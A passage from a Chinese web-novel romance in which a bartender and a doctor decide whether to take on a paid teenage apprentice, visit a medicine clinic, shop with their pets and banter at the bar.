齐眉不知道自己已经成了同事们今天下饭的话题,正一边啃着牛肉酥饼,一边听开车的江问舟讲起宋主任侄子的事。 “……啊、让我带孩子啊?”听完之后她抿抿唇,眉头一皱,明显有些不乐意。 这孩子一听就是个犟种,她自己也犟,知道上头的时候是什么也听不进去的,这孩子应该也差不多。 那接了这事,最后很可能吃力不讨好的啊? 虽然她也想帮江问舟解决问题,可是…… 刚想到这里,就听话没说完的江问舟继续道:“他也算是为了这个侄子想尽办法了,现在都到了出学费给他找个地方当学徒这一步。” 学费?齐眉一愣,刚要咬一口酥饼的动作立刻撤销。 抬头疑惑地问道:“学费是什么意思?” “就是想给你钱,让你收他做学徒,最好能让他见识见识社会的险恶,让他知道不参加高考,不继续接受文化教育,是万万不行的……” “先不要讲这些!”齐眉不耐烦听后面这段大道理,只关心,“给多少钱啊?” 江问舟还没说完的话就这样在喉咙里卡住,过了两分钟才反应过来,朝她伸出三根手指。 “三千?”齐眉头一歪。 江问舟摇摇头:“三万。” “三万啊……”齐眉若有所思地点点头,这个价格说很多么,也没有,但绝对不算少。 一般做学徒只是不赚钱,倒没听说过还要贴钱的。 江问舟的呼吸顿了一下,问道:“你答应了?” 齐眉没点头,也不摇头,而是开始问:“他要在这儿待多久?三万块,我是管他一个月,三个月,还是更久?” 要是一两个月,肯定做得,时间太长就算了,管孩子可不是什么轻省事。 还有,“我们要管他*吃饭住宿吗?” 另外,“家长说是让他来当学徒,学徒很辛苦的哦,基本是打杂,要看师父心情好的时候,才会教一点东西,平时要跑腿、搞卫生,等等等等,基本就是做杂工,他肯定会吃苦的,家长心疼的话会不会干涉我们,对我们有意见?” “孩子自己受不了,跑回去了,我要退钱吗?” 齐眉连珠炮似的问了一连串问题,江问舟越听越皱眉头。 他神情甚至有些尴尬,摇摇头赧然道:“……我倒是没问得这么清楚。” 齐眉一噎,嫌弃地白他一眼:“这些你都不问清楚,我怎么知道能不能做,能不能答应?” “真是的。”她没好气地吐槽道,“该问的一点不问。” 江问舟一阵讪讪,被她吐槽得脸皮一阵发紧发热,半晌才道:“我一会儿就问,问清楚了再跟你说。” 齐眉歪头,看见他满脸尴尬,眼睛一转就笑起来:“嘿嘿。” 江问舟听见她的笑声,觉得似乎有点……幸灾乐祸,又不怀好意? 不由得一愣,趁着前面路况没什么异常,扭头看她一眼。 果然在她脸上看到了和平时不太一样的神色。 不仅是幸灾乐祸,还有点隐隐约约的兴奋,衬得她眼睛亮晶晶的。 “……抓到我一个小辫子就这么值得高兴?”江问舟有些哭笑不得。 “那当然了。”齐眉有些得意洋洋,“这次你不如我了哦。” 从前都是他提醒她这些细枝末节的问题,思虑周全缜密,没想到现在竟然反了过来,他也有如此疏漏的一天。 江问舟失笑:“我又不是做你们这一行的,没想到不是很正常?” “嘁,你就嘴硬吧。”齐眉哼了声,转头去看窗外路过的车辆。 等红灯的时候看到旁边那辆车的车窗上贴着一个狗头,是黑白色的阿拉斯加,正隔着玻璃和她对视,她忍不住冲它笑笑。 她还回头让江问舟也看,夸人家家狗子好漂亮。 “要是让年年听见,会不会不高兴?”江问舟随意地找着话题跟她闲聊。 “怎么会,它根本听不懂。”齐眉笑眯眯地应道,从包里翻出口红和小镜子,一边补着口红一边漫不经心地继续道,“你说它会和别人玩我还信,不高兴……我又不去抱人家,它怎么会不高兴。” 江问舟听了,立刻一本正经地点点头:“有道理,你去抱别人,我也会不高兴,但是你夸别人好看,我就觉得还行。” 齐眉涂口红的动作一顿,扭头撇他一眼,想说什么,又憋了回去,朝他努努嘴。 过了前面那个红绿灯,很快就看到了熟悉的建筑物,齐眉让他在便利店门口把自己放下。 “我去补点雪糕,你先把车开回去吧。” “一会儿还要下来,车就停门口算了。”江问舟摇摇头,和她一起下了车。 车门刚关上,他就冲齐眉伸手,齐眉连忙快步往前走了两步,一把抓住他的手。 还笑嘻嘻地晃了两下。 俩人说笑着进了便利店大门,没发现不远处的某手机品牌店门口正有个人惊讶地看着他们。 齐眉进门直奔冰柜,看到一个想要的雪糕,第一件事就是对照冰柜上的价钱和手里雪糕的名字,看看是不是雪糕刺客。 “别拿这么多,你又还不能吃。”江问舟叹气地屈指弹一下她的脑袋。 “你别管,光是看着我也高兴。”齐眉头一歪,往小篮子里哐哐装雪糕,拿了十二杯才停手。 买完雪糕出来,已经快到上午十一点,急忙忙回到家,看见金金和年年正趴在落地窗边,似乎是在等他们。 齐眉看了心疼,连忙弯腰将它们抱住,夹着嗓子跟它们说话:“你们在干什么呀?是在等我们吗?” 问完低头用力亲亲它们的脑袋,再把两颗脑袋使劲搂进怀里。 江问舟嘴角一抽,提着雪糕赶紧走了。 真的,他在金金脸上看到了无语和茫然,年年倒是很平静,一点都不挣扎。 趁着齐眉去洗澡换衣服的功夫,江问舟给宋主任打了个电话,将齐眉想了解的问题仔细问了一遍。 等她出来,便一边帮她吹头发,一边告诉她:“宋主任说别的都不用管,只管使唤他,让他干活,最好能让他受点打击,就带一个月吧,九月份得开学了,无论如何都要把他押去学校。” “这样啊……”齐眉低了低脖子,让风吹在自己侧边的头发上,奇怪道,“万一他在店里待了一个月,更加不肯回学校了怎么办?” “你们……酒吧这么好赚吗?倒闭率不高?”江问舟反问。 齐眉摇摇头:“怎么可能,倒闭率很高的。很多人觉得小酒馆很好,既可以自己小酌,招待朋友,又可以给别人提供一个排解情绪、拓展社交或者发呆的地方,想想在夜晚的灯光下静静地小酌一杯,周围的时间和空气好像都变慢了,精神也渐渐放松……这种场景有没有意境,小不小资?要是能遇到一个或者几个人,从而发展出一段故事,就更浪漫啦,就像咖啡馆一样。” 但那是喝酒的人啊,卖酒的人考虑的就多了。 “你是什么定位,选址在哪儿,店租多少,周围人流量怎么样,装修什么风格,拿货渠道有没有好不好,上什么产品,什么定价,怎么推流怎么宣传,能承受多大的资金压力,怎么拉新怎么维护客户……要考虑很多很多呢,所以很多人开个一年半载就倒闭了。” “我估计这小子根本想不到这些。”江问舟听了忍不住无奈地笑笑,“一门心思想着当网红,然后流量变现。” “真的能成网红也可以啊,可是最后到要变现这一步,需要考虑的还是我说的这些呀,网红店倒闭的可不少。” 齐眉撇撇嘴,“真的干下来就知道辛苦了,佟哥和乐乐每天两点才打烊,打烊之后还要打扫卫生,起码三点才能走,经常是四点,下午四五点又要到店开始做准备,生活作息完全是白夜颠倒的,他撑得住再说吧。” 至于还要拍视频剪视频,嗯……可能年轻人真的有使不完的精力吧。 “那你是答应了?”江问舟最后问道。 齐眉摇摇头:“等我明天和清葭姐还有佟哥他们商量过再给你答复。” “那我们中午吃什么?”江问舟立刻转移话题。 齐眉想了想:“干锅!” 江问舟笑着点点头,应了声好,又弯腰亲亲她的脸。 出门是在十二点整,先将金金和年年送去一会儿金金要打疫苗的宠物医院托管,他们去附近吃饭。 吃完饭出来,路过一家服装店,齐眉眼尖地看到一件衣服,二话不说就把江问舟拽了进去。 “美女要试一下这件衣服吗?用的是凉感面料,很适合夏天哦,而且男女同款,可以和对象穿情侣装哦。” 就因为导购这句话,江问舟就被齐眉塞进了更衣室。 等他出来,齐眉已经站在试衣镜前了,身上是一件粉色的T恤衫,领口和袖边都是褐色的撞色,左边胸口上还有一朵很立体的刺绣小雏菊。 而他身上这件也是灰蓝色大身撞枪灰色领口和袖边,刺绣标志是一模一样的。 还真是情侣装,他笑起来,看着镜子里的齐眉突然问道:“这么穿,万一让爸妈发现是同款,觉得不对劲,怎么办?” 齐眉眨眨眼,和他在镜子里四目相对,咬着嘴唇看了他好一会儿。 才低下头小声说:“这不挺好吗,难道你不希望?” 或者说,你不就希望这样? 江问舟看着她身上和自己一样的衣服,眼睛一弯,笑意就在他脸上扩散开来。 第66章 第六十六章(二合一)两件事听起来似…… 金金打完疫苗,又经过半个小时观察,大概下午一点十五分左右,他们离开宠物医院,往厉医生家的医馆去。 七月的天气又闷又热,像个蒸笼一样,齐眉靠在车门边看一眼外面,叹口气,咕哝:“什么时候下雨啊?” “下雨?下雨就是锅开了,开始上汽,你很快就会变成白白胖胖的大馒头了。”江问舟一面揶揄她,一面找树荫下停好车。 齐眉一噎,撇撇嘴,也没反驳。 主要是反驳不了,容城的夏天就是这么难过,要不为什么以前古代都往这边流放犯人呢。 外面实在太热,齐眉最后还是没让年年和金金也下车,留着它们在车里吹空调。 窗户开了一掌宽的缝,齐眉撑着伞从外面往里看,交代它们:“你俩老老实实的啊,我们很快就回来,别瞎捣乱,知道没有?” 根本没人搭理她,这么热的天,小猫小狗根本不可能爱出去。 医馆里也没几个人,空荡荡的,很安静,门口厚重的塑料帘子将冷气挡在了里面。 江问舟撑着帘子让齐眉先进去,负责捡药的学徒热情地同他们打了声招呼,听说是跟小厉医生约好的,便笑道:“他在诊室呢,没病人,你们直接过去就是。” 俩人穿过侧门,进入到诊室,看见厉医生那间屋子门口板鸭趴着个乌漆漆的小家伙,尾巴左一下右一下地摆着,看起来很悠闲。 “嘿,小黑。”齐眉笑眯眯地同它打招呼。 结果人家跟年年它们一样,也不搭理她,睁眼看了一下,又闭上眼继续打瞌睡了。 听到她的声音,厉医生探头出来看了眼,笑着招呼道:“怎么来这么早,这么晒。” “早看早了。”江问舟笑着应道,又低头去看猫,逗它,“你起不起来,不起来我直接跨过去了?老人家说被人这样跨过去,会长不高的。” 猫根本不动弹,厉医生就笑:“别理它,捣蛋鬼一个,直接进来吧,别踩到它就行。” “怎么没见舒檀?” “她今天值班,一大早就嘟嘟囔囔地上班去了。” 齐眉听着寒暄,从猫身上跨过去,又回头看一眼,见它完全不为所动,忍不住有些好笑。 江问舟将带来的果盒递给厉医生,笑道:“店里的水果,给你和舒檀带了点,都是他们找自己店里的供应商拿的,品质不错,你们尝尝。” 说着拍拍齐眉的背,厉医生便笑着对她道:“多谢你费心了。” 齐眉忙回过神,摇摇头:“不费什么功夫的,举手之劳而已。” 确实这个点也是没什么人来,厉医生让他们坐下,从柜子底下拿出来两瓶东方树叶的茉莉花茶,跟他们闲聊起来。 齐眉一面听他们聊单位里的事,一面靠在椅背上扭头去看趴在地上的猫,那浑身的黑色毛发油亮油亮的,看起来特别顺滑。 想摸,特别是那两条后腿,看起来好像手/枪腿,金金是长毛,有时候看不太出来,年年个头大,那不是鸡腿,是大羊腿。 大概是她的目光实在那啥,猫动了动,下一秒就把腿缩回去了,还回头看她一眼。 齐眉忍俊不禁,朝它嘬嘬两声。 江问舟被她的小动作逗乐,聊天时抽空看了她一眼,捏捏她的手心。 聊了大概有二十多分钟,厉医生让齐眉把手放到脉诊枕上,探了一会儿脉息,点点头笑道:“比上次来又好了一点。” 这可真是个不错的消息,齐眉抬头看着江问舟笑了一下。 “上次的方子吃着没什么不舒服吧?觉不觉得上火?”厉医生斟酌着药方问道。 齐眉说没有,于是方子就没改,还是按照上次的方子,再吃一个月。 膏方得熬,就不要他们等了,“下周我带到单位去,就不用你们再跑一趟了。” 复诊完又聊了几分钟,俩人这才从诊室离开,出来把方子一交就算完事儿了。 “接下来去哪儿?”齐眉问道。 带着金金和年年,天气又热,公园是不可能去了,江问舟最后挑了个离No.12Diner&Lounge不远且允许宠物入内的商场,和齐眉逛街去。 半路齐眉接到孙茂芸的电话,问她今天干嘛呢,她就老实地说:“我哥带我过来厉医生这边复诊呢。” 也不能总不老实是不是,该说该透露的还是要说要透露。 孙茂芸听说她和江问舟在一起,好好好地答应了两声,也不叫他们回去吃饭了,只交代:“难得休息,多出去玩,让你哥带你去吃好吃的,知道吧?他的钱你现在不花,以后不知道哪天就花不着啦!” 齐眉:“……”无语和愧疚同时撕扯着我的心:) 等挂了电话,她跟江问舟说起这种心情,得到的是他一声含义复杂的哼笑。 既有幸灾乐祸和揶揄,又有没好气的吐槽,仿佛一切尽在不言中。 齐眉一阵讪讪,又有些不服气,嘟囔着我不信你不会这么想,就抱着猫大步往前走。 江问舟忍俊不禁,赶紧跟上去,看她在一家装修看起来相当有艺术气息的饰品店门前站住。 “进去看看?”他问道,伸手搭上她的肩膀。 齐眉犹豫:“……宠物能进去吗?” 江问舟把狗绳交给她,进去问了一下,一会儿功夫就出来,冲她点点头:“能进。” 俩人这才带着年年和金金一起进去,边走齐眉边往柜台里看,见都是设计得比较有个性的配饰,虽然很多款式齐眉都不感冒,但还是有小部分吸引了她的注意。 店里没什么人,导购们都闲着,见有客人进来,便都看过去,一眼就先看见客人怀里的猫。 于是有人来招呼齐眉的时候,还跟她说:“猫猫可以先放下来休息一下哦。” 说着轻轻拍两下柜台。 齐眉道了声谢,试着将金金放下来,就圈在自己怀里,然后好奇地问对方:“你们这款吊坠我可以看看吗?” 江问舟闻言顺着她的指尖往柜台里看,看见几个佩戴着项链的人像座,每条项链上都串着好几个字母吊坠,仔细一看有的是姓氏,有的是“LOVE”,还有的拼起来应该是一个人名。 每个人像座前方是一个首饰盘,装着零散的吊坠,颜色不一,看上去缤纷又热闹。 “这是我们这个季度刚出的马卡龙配色字母吊坠,22k金的材质,采用了珐琅工艺,您可以挑选一下呢。”导购笑眯眯地点头,一面介绍一面从柜台里往外搬首饰盘和展示架。 因为要看东西,齐眉圈着金金的胳膊便松开了,江问舟趁机伸手将它从她怀里挖了出去。 它像一只猫猫虫,贴在柜台上蠕动两下,又往齐眉这边匍匐前进,没两下又蹭回到她的身边。 然后将脑袋往齐眉小臂上一枕,歪头看着她眨眨眼。 这谁顶得住! 齐眉立刻低头和它蹭蹭额头,这才笑嘻嘻地继续看导购端出来的首饰盘。 听对方热情地安利:“字母都可以自由组合,很多人会把对自己有重要意义的字母戴在一起哦,比如自己的姓名,爱人的名字,家人的名字,还有宠物名字,都可以,或者是喜欢的字母,像这种。” 说着将那个挂着“LOVE”项链的底座往齐眉面前推了一点。 齐眉若有所思地点点头,还别说,她真心动了。 江问舟这时也凑了过来,看她分明心动,却又犹豫不决的样子,干脆提议道:“把家里所有人的姓氏首字母都挂上?” 反正也就三个嘛,被父母看出来了也不怕,我把全家挂身上有什么不对吗? 齐眉眨眨眼,嘴角一抿,扭头冲他竖大拇指:“天才。” 江问舟嘴角一抽,有些无奈地笑笑,心里除了无语还是无语。 但齐眉已经不管那么多,开始低头挑字母,说:“我要一个J,一个S,还有……一个Q。” 刚说完又立刻改口:“不不不,不要Q,要M。” 江问舟眉头一挑,问她:“觉得Q不好看?” 这些字母的颜色并不是一样的,J和S一个红色一个绿色,但是Q就是紫色,反而M是蓝色。 齐眉头也不抬,嗯嗯一声:“我喜欢吃m豆。” 这答非所问听得江问舟一阵好笑,伸手揉揉她后脑勺,又捏捏金金的后颈皮。 它回头看他一下,这次竟然朝他这边过来了,又是猫猫虫一样来的,一头扎进江问舟胳肢窝里,他胳膊一抬,它就从他胳肢窝里往地上看,正好和年年眼对眼。 年年立刻要站起来和它玩,江问舟连忙冲它:“年年,坐!” 它又乖乖地坐回去了,只还是抬头看着他们。 江问舟没理会它,将金金从自己怀里揪出去,把它按在柜台上,一起看齐眉试戴项链。 这款吊坠是不配链子的,要么用自己原有的,要么另买搭配的项链。 齐眉为了这三个小吊坠,又开始挑选项链,挑了一条说是闪片链的,将吊坠挂上去之后,还问江问舟:“看着还可以吧,不突兀?” 江问舟点头嗯了声,她就搭在脖子上对着镜子端详起来。 他刚想说给她扣上吧,她就已经爽快拍板:“就这样吧,麻烦开一下单。” 导购眉开眼笑地去开单了,江问舟问齐眉:“还看不看别的?” “不要。”齐眉摇摇头,抿抿唇小声说,“这几个月首饰买得够多的了。” 干妈给她买了,江问舟也给她送了,她那小小的首饰盒都要装不下了。 “这不是赶巧是你生日么。”江问舟笑笑。 结完账从店里出来,已经是将近下午五点,想想也懒得再逛,干脆还是离开商场直接回自家店里了。 到的时候是五点半刚过,陆阳竟然已经在店里坐着了。 “阳哥今天怎么来这么早?”齐眉有些惊讶。 “约了个设计师,一会儿跟人家吃饭去。”陆阳笑眯眯地解释,又看一下江问舟,这才问齐眉,“你俩刚逛街回来啊?” 齐眉没发现他的语气有点不对劲,点点头:“算是吧,去复诊,出来的时候顺路去商场吹了一下空调。” 说完又好奇:“这次约的是哪个首饰品牌或者哪家工作室的设计师呀?” 之前大大小小有名气没名气的品牌或者定制工作室的设计师都见过不少了,但就是没有一个是能让任清葭满意到想把这件首饰用在结婚上的,只能当是平时买普通首饰。 “不是,这次是一个……玩具设计师。”陆阳挠挠额头,解释道,“人家找我爸帮忙查点事,我爸就请人家帮忙看能不能设计一下首饰,嗐,正常的没感觉,就找点邪门的试试看呗。” 齐眉:“……”可真有你们的。 “谁啊?让舅舅帮什么忙?”她接着好奇道。 “一个玩具公司,什么什么toys,一下想不起来,没关注过这个。”陆阳摇摇头,“找我爸帮忙查一个人的底细,说是跟什么亲事有关,那个人跟女方父母达成协议,给了所谓彩礼钱,结果人家姑娘根本不知道,搞得跟买卖人口这勾当一样,太损了。” 齐眉啧了声,刚想吐槽他记性差,就想起还有正事,连忙把年年和金金交给他,拽着江问舟就要上楼。 “我们有事找清葭姐商量,你先看一下它们!” 陆阳眉头一挑,看一眼他们上楼的背影,蹲下来凑近金金耳朵小声问:“喂,那是你妈?” 金金耳朵一动,像是有点痒。 他又将年年拉过去,用同样的姿势同样的语气问它:“崽,你是不是有爹啦?” 年年以为他是跟自己玩呢,哈着气就往他脸上凑。 陆阳搂着它俩的脖子,发出啧啧啧的吐槽声:“真没看出来啊,他们俩居然……” 后面吧台里的员工们:“???” 阳哥你叽里咕噜的跟小猫小狗说什么呢?有什么是我们不能听的吗?! ————— 楼上的西点操作间,任清葭一边收拾操作台,一边听江问舟讲宋主任侄子的事。 听完了她点点头,问齐眉:“西西觉得这事能不能做?” 没等齐眉回答,她又解释道:“毕竟他是想做调酒师学徒,那就是大多数时间都是在夜场了,归你管的比较多,你觉得能不能带?” 齐眉耸耸肩:“如果家长允许我给他上强度,我是打算让他白天也来开工的,想吃做生意这碗饭,不得学进货吗,正好帮浪哥搬东西去。” 任清葭看着她啧啧两声:“你现在也学会资本家那套了。” “不然呢,在该读书的年纪不好好读书,想这些乱七八糟的,就该多吃点苦。”齐眉嗤了声,“又不是家里条件不好没有好好读书的机会。” “反正一两个月,也行。”任清葭点点头,笑道,“现在网络发达,小孩都很早就接触到社会信息了,有好也有不好,我听着……” 她说到这里有些突兀地停了下来,看一眼江问舟,神色突然变成忍俊不禁。 齐眉和江问舟都有些疑惑地看向她,她摇摇头,才继续道:“我听妹夫的描述,这孩子其实也很有主意,要是这份主见能坚持下去,以后说不定真能做出一点成绩。” 江问舟:“……” 齐眉倒是哈哈哈地笑出声来,原来刚才她脸色那么奇怪,是因为想到江问舟是妹夫吗哈哈哈! 见她笑,任清葭也跟着笑,二楼顿时就响起一阵笑声,笑得江问舟一阵无语和尴尬。 同时也很无奈,这有什么可笑的:) 好不容易等她们笑够了,江问舟的情绪也从尴尬无语,变成了无所谓。 淡定地问道:“这么说,你们是同意了?” “等晚上问问佟哥和乐乐,人得他们带呢。”齐眉忍住笑,点点头,又摇摇头。 声音里是浓郁的笑意,好像下一秒又要笑出声来似的。 江问舟很没好气地地伸手捏住她的脸:“……差不多得了,笑岔气要去医院我可不管你啊?” 多新鲜呐,没听说过有人是笑进医院的。 齐眉冲他眨眨眼,脸上的笑里像掺了糖,眼睛亮晶晶的,看得江问舟一阵心软,有再多吐槽一时半会儿也说不出来了。 任清葭嫌他们腻歪得让她牙酸,搓着胳膊上的鸡皮疙瘩赶人:“你俩赶紧走,立刻消失在我面前。” “……你和阳哥以前在我面前秀恩爱的时候,我也没有赶你们啊。”齐眉不服气,嘟嘟囔囔,“我就不走,略略略。” 她不仅不走,还去冰箱翻了一会儿,惊喜道:“哪个好人帮忙解冻的椰子冻啊?” 任清葭闻言立刻清清嗓子:“你说呢?” 齐眉先将一个椰子冻递给江问舟,然后凑上前蹭蹭任清葭,故意夹着嗓子撒娇:“谢谢嫂子,嫂子最好了。” 任清葭眼睛一闭:“……我不管你是谁,立刻、马上、现在,赶紧从我妹妹身上下来。” 齐眉立刻发出非常猖狂的笑声,江问舟忍俊不禁地抿起唇。 手里椰子冻的包装撕了两三次才撕成功,将椰蓉撒在洁白的椰子冻表面,勺子挖下去的感觉就像是挖进了鸡蛋布丁。 入口的感觉先是刚从冰箱拿出来的清凉,接着是椰子冻细嫩弹滑的质地,椰子的清甜随之而来,从舌尖一点点蔓延至口腔深处。 夏天来一个椰子冻确实是很美妙的享受,齐眉和江问舟坐在操作岛台旁边,一边吃着甜品,一边和任清葭聊天,说起店里最近上的新品哪个卖得好哪个无人问津。 江问舟静静听着,越听越觉得她们不容易。 等任清葭收拾干净操作台,他们的椰子冻也吃得差不多了,用勺子将椰子肉刮出来吃掉,三人一起下楼,看见田乐和佟林已经在做晚上的准备。 田乐一边将刚榨好的柠檬汁倒进瓶子里,一边和正在开冰的佟林八卦昨晚遇到的客人。 “……所以他俩以前是认识的吗?” “我听着意思是他俩以前还有一段呢,那男生的语气……啧啧,有点怨气,好像是女生甩的他。” “是么,后来呢?我回来的时候他俩都走了吧?” “后来他俩一起走的,刚走你就回来了。” “哇哦,你说他们有没有可能复合?” “有可能上……”佟林刚说到这里,就看见齐眉正托着腮靠在吧台上,下意识地把最后一个字咽回去,改口,“有可能有别的事。” 齐眉忍俊不禁地调侃道:“佟哥倒也不用这样,我又不是小孩子,说什么不用特地避着我,我不会学坏的。” “没有没有。”佟林赶紧否认。 江问舟正点外卖,闻言抬头好笑地看一眼齐眉,问她晚上吃什么。 齐眉刚想说随便,就见汪淼从外面进来,进门就去招猫逗狗,还跟年年说:“你跟我玩会儿呗,我请你吃牛排。” 店里是有餐品要用到牛排的,所以每半个月都会进一次货,进货的时候会特地多进一点,让大家平时下午茶和宵夜加加餐,就当是员工福利了。 齐眉闻言立刻对汪淼道:“现在就煎吧,我和……我哥晚饭就吃这个。” 接着对江问舟道:“外卖看看生鲜超市,让送点牛腱子过来呗,我明天做卤牛肉。” 江问舟道:“要不我开车去吧,说不准还能赶上超市周末晚上打折,碰碰运气?” 齐眉爽快答应,立刻又不想吃牛排了,“那你再帮我带点炸串呗,要炸的,不要烤的。” 江问舟一噎,刚想说自己还不至于分不清炸和烤的区别,就听田乐说了句:“哇哦,好善变的女人。” 说完俩人互相看着对方嘻嘻哈哈笑起来。 江问舟觉得她这高兴也是来得有点莫名其妙的,但看起来又很有意思,于是在旁边看了一会儿,才跟她说了一声往外走。 傍晚六点一过,来喝酒的客人渐渐多起来,齐眉也开始忙碌。 江问舟回来的时候,齐眉正在做客人要的WaterLily,这款酒是将金酒、君度和紫罗兰利口酒混合,酒液呈现出一种很梦幻的紫色,在灯光下显得神秘而柔美。 叮叮的铃声响起,服务员过来将酒端走,江问舟将袋子往吧台对面的桌上一放,问她:“现在吃还是待会儿?要热一下吗?” “现在吃!”齐眉立刻从吧台后面出来,一边解袋子一边问,“去超市都买了什么?” “牛腱子,还有牛腩,真碰上打折的了,我明天想吃番茄炖牛腩。” 江问舟说着,拉开桌旁的椅子,大马金刀往那儿一坐,斜靠着椅背,懒洋洋地补充道:“你明天中午给我送个饭?我要值班。” 齐眉本来都要应嗯了,闻言,这个音节又在喉咙里卡住,变成一句无语的:“你还真是会使唤人。” 你点菜点的是不是过于理直气壮了:) 江问舟笑眯眯地仰头看着她:“你可以理解为我对你的嫉妒,为什么我周末要上班,你不用。” 齐眉立刻伸出手指,对他指指点点。 接着发现袋子里竟然还有一个烤鸡,忍不住一愣:“你还买了烤鸡啊?” “我看很多人在排队,感觉自己不买不合群。”江问舟实话实说,“你知道的,人有时候很容易被周围环境影响。” “再说……”他扭头朝吧台那边示意一下,“你不吃,同事们也不吃?” 齐眉闻言顿时笑起来,说:“总算不是每次都是我去给你做脸啦。” 江问舟听了就笑,拿眼神乜着她道:“我给你做脸做少了?是谁以前小组作业PPT搞不定就跟同学说别怕我找我哥帮个忙的?又是谁以前期末考试复习查体,跟同学说让我哥来当模特……” “好了好了,是我,都是我。”齐眉被他念得头都大了,连忙打断他没翻完的旧账,扯开话题问道,“你吃了没有?” 江问舟点点头:“等炸串的时候吃了个芝士牛肉卷。” “那再吃一个。”齐眉从炸串盒子里拣出一串炸鸡排,直接往他嘴上戳,生怕他不吃似的。 江问舟哭笑不得地接过,刚听她问了句是喝椰子水还是喝酒,没来得及回答,就听到电话响起。 一看来电显示,办公室的座机号码。 他一面接起,一面抬手冲齐眉做了个游水的手势,田乐看见,不解地扭头看齐眉,“江医生这是什么意思?” 齐眉已经在开椰子了,举起刀用刀背狠狠一敲,发出乓的一声响。 “要椰子水啊。” 田乐一愣:“你确……定?” “确定啊,游泳喝什么,喝椰子啊,不是很合理吗?” 田乐有点无语:“……躺泳池边喝鸡尾酒也很合理吧?” 齐眉的动作一顿,眨眨眼,半晌憋出来*一句:“……我们家就是这样的!” 旁听的佟林哈哈笑出声来,让田乐赶紧算了吧,各家有各家的默契,懂不懂啊! 江问舟笑着看向他们,听蔡朝问他某床患者的家属说他查房的时候让他们自己出去买某个药,患者家属说自己忘记了,拜托他帮忙问问。 “另外他还问哪家有卖这个药……” 没等他说完,江问舟就报了一个药的名字,跟他说:“你交代他,这个是进口药,我们医院没有,所以得他们自己去买,至于去哪儿买,就去大的连锁药店找找,或者自己找人问问,网上能买到也行,总之,我们这边没有购买渠道,也不推荐具体药店。” 说完他顿了顿,加重语气地反问蔡朝:“记住了吗?能明白我的意思吗?” 蔡朝愣了一下,过了一会儿才回过神,连忙嗯嗯应了两声:“明白,我会跟他说的。” 田乐好奇地小声问齐眉:“为什么江医生不直接跟人家说药去哪儿买啊?” “会被怀疑是不是吃了回扣的。”齐眉淡淡应道,将过滤好的椰子水往吧台外一递,“哥,你的。” 江问舟挂了电话,伸手接过杯子往桌上一放,三两口将手里的鸡排吃完,就开始一边看手机一边等齐眉收工。 “哦对了,有个事跟你们商量一下。”齐眉冲了一下手里的杯子,跟佟林和田乐说起宋主任家。 听她说的时候,佟林就忍不住看向江问舟。 只见他托着腮,一脸认真的安静等待神态,目光却一直看着齐眉。 “所以咱们要收学徒啦?”田乐听完有些惊讶地问道。 齐眉没立刻说是还是不是,而是问她:“你和佟哥带得过来么?” “带是能带……”田乐犹豫地看一眼江问舟,“但是怎么带?教学目的是什么,教他调酒?” 这才是问题关键,普通学徒都是师父心情好了才教点东西,上来就让洗杯子的,就连齐眉当时跟老师学,也是洗了上千个杯子,才开始学基本功。 这还是陆老板有言在先,说你必须把我外甥女培训出来,很急,知道点基础知识不会被骗就行,其他的后面实践中学,反正也不是当主调副调。 但江主任这同事家的小孩怎么说?家长是什么要求? 齐眉摇摇头,也看一眼江问舟才说:“他不一样,家长最大的期待就是他能心甘情愿地回学校去准备高考,最好是让他吃点苦头。” “能让他一来就洗杯子吗?”田乐眨眨眼问道。 齐眉又看向江问舟。 江问舟点点头:“我跟宋主任说,不行就算了,这活确实不好干。” 叮叮叮的铃声又响起,佟林将做好的一杯咖啡马天尼交给服务生。 回头一边冲着调酒壶,一边嗐了声:“要是能让孩子吃苦就好说了,都从洗杯子和扫地开始干,哦对了……” 他想起来另一件事,抬头看向齐眉:“下个月的音乐节集市,咱们去不去?” 浪哥前两天才收到的消息,他们的想法是去,难得的宣传机会,不仅要把鸡尾酒带去,还要把咖啡也带去,音乐节总共才三天,大不了辛苦辛苦呗。 销售是有提成的,没人跟前过不去。 齐眉没有考虑太多,闻言点点头:“你们觉得应该去那就去吧,不过我可能就不去了,辛苦你们。” 顿了顿又说:“既然这样的话,那几天晚上店里就暂时休息好了,不然忙不过来。” 三人凑在一起聊起到时候音乐节该做什么,包括怎么报名,是租一辆餐车还是怎么办,等等。 江问舟一面听着,一面给宋主任发信息,跟他说了齐眉这边的意思,得到对方的满口答应,说孩子来了当然都听老师的。 于是很快就定好孩子过来的时间,大概是下周末。 可还等到下周末,江问舟就在某个齐眉去上班的日子,接到江眀琮的电话,先是问他今天值不值班,接着道:“晚上回家来吃饭吧,你妈今天和朋友出去旅游了。” 这两件事听起来似乎毫无瓜葛,但他就是放在一起说了。 江问舟听了不由得心里一顿。 第67章 第六十七章(二合一)你和西西到底是…… 因为江眀琮的一个电话,江问舟下午下了门诊后,匆匆查过一遍房就立刻下班,一秒都不多待。 在护士站那儿碰见想找他签病历的沈媛,他也说:“很着急吗?不急明天再签,我家里有点急事,得赶紧回去。” 沈媛连忙答应,同他说了声明天见。 江问舟没忘记先回家接上金金和年年,再急急忙忙家里赶。 他觉得自己大概知道江眀琮叫他回去是为什么,绝不是因为一顿晚饭,没必要,他爸又不是什么没人一起就吃不下饭的人。 万一,他说的是万一,万一吵起来了,有金金和年年在场,兴许还能缓和一下气氛,对吧? 江问舟就这样满心嘀咕地踏上回家之路,想着等看看聊了什么,也等齐眉明天下班回来了,才跟她讲发生的事。 在路上时天还是亮的,天边被落日染成橘红色,很漂亮,但也转眼即逝,随着太阳的迅速西沉,天边最后一抹白光也消失了。 进村的时候天已经黑透了,昏黄的灯光无言地照亮着通往村子深处的水泥路,周围显得越发安静。 江问舟将车在门口停好,还响了一下喇叭。 他下车将金金和年年放下来,输入大门的密码开了门,刚进去,就看见江眀琮出了门往这边走。 “去吧,爷爷来了。”江问舟弯腰解开两小只脖子上的绳子,拍拍年年的屁股。 年年一阵风似的跑了出去,金金看它一下,又扭头看向江问舟。 “你不去?” 话音刚落,它就转身一下扑到江问舟腿上,仰着头用大眼睛目不转睛地看着他。 它真的是一只能很敏锐地察觉到人的情绪变化的聪明小猫。 江问舟失笑,弯腰将它抱起来,拍拍它的背,温声道:“我没事,别担心。” 他抱着猫往前走,看见年年已经扑进江眀琮怀里,被他握着两只前爪,后腿直立着,还不停地摆尾,看起来非常兴奋。 江眀琮也很高兴,搂着它笑得见牙不见眼,说什么:“我就知道你……会带你回来,爷爷给你煮了肉和大虾,走走走,我们回去吃饭。” 说完回头看一眼江问舟,脸色立刻又有些不对,只几秒钟,就闭着眼别过头去。 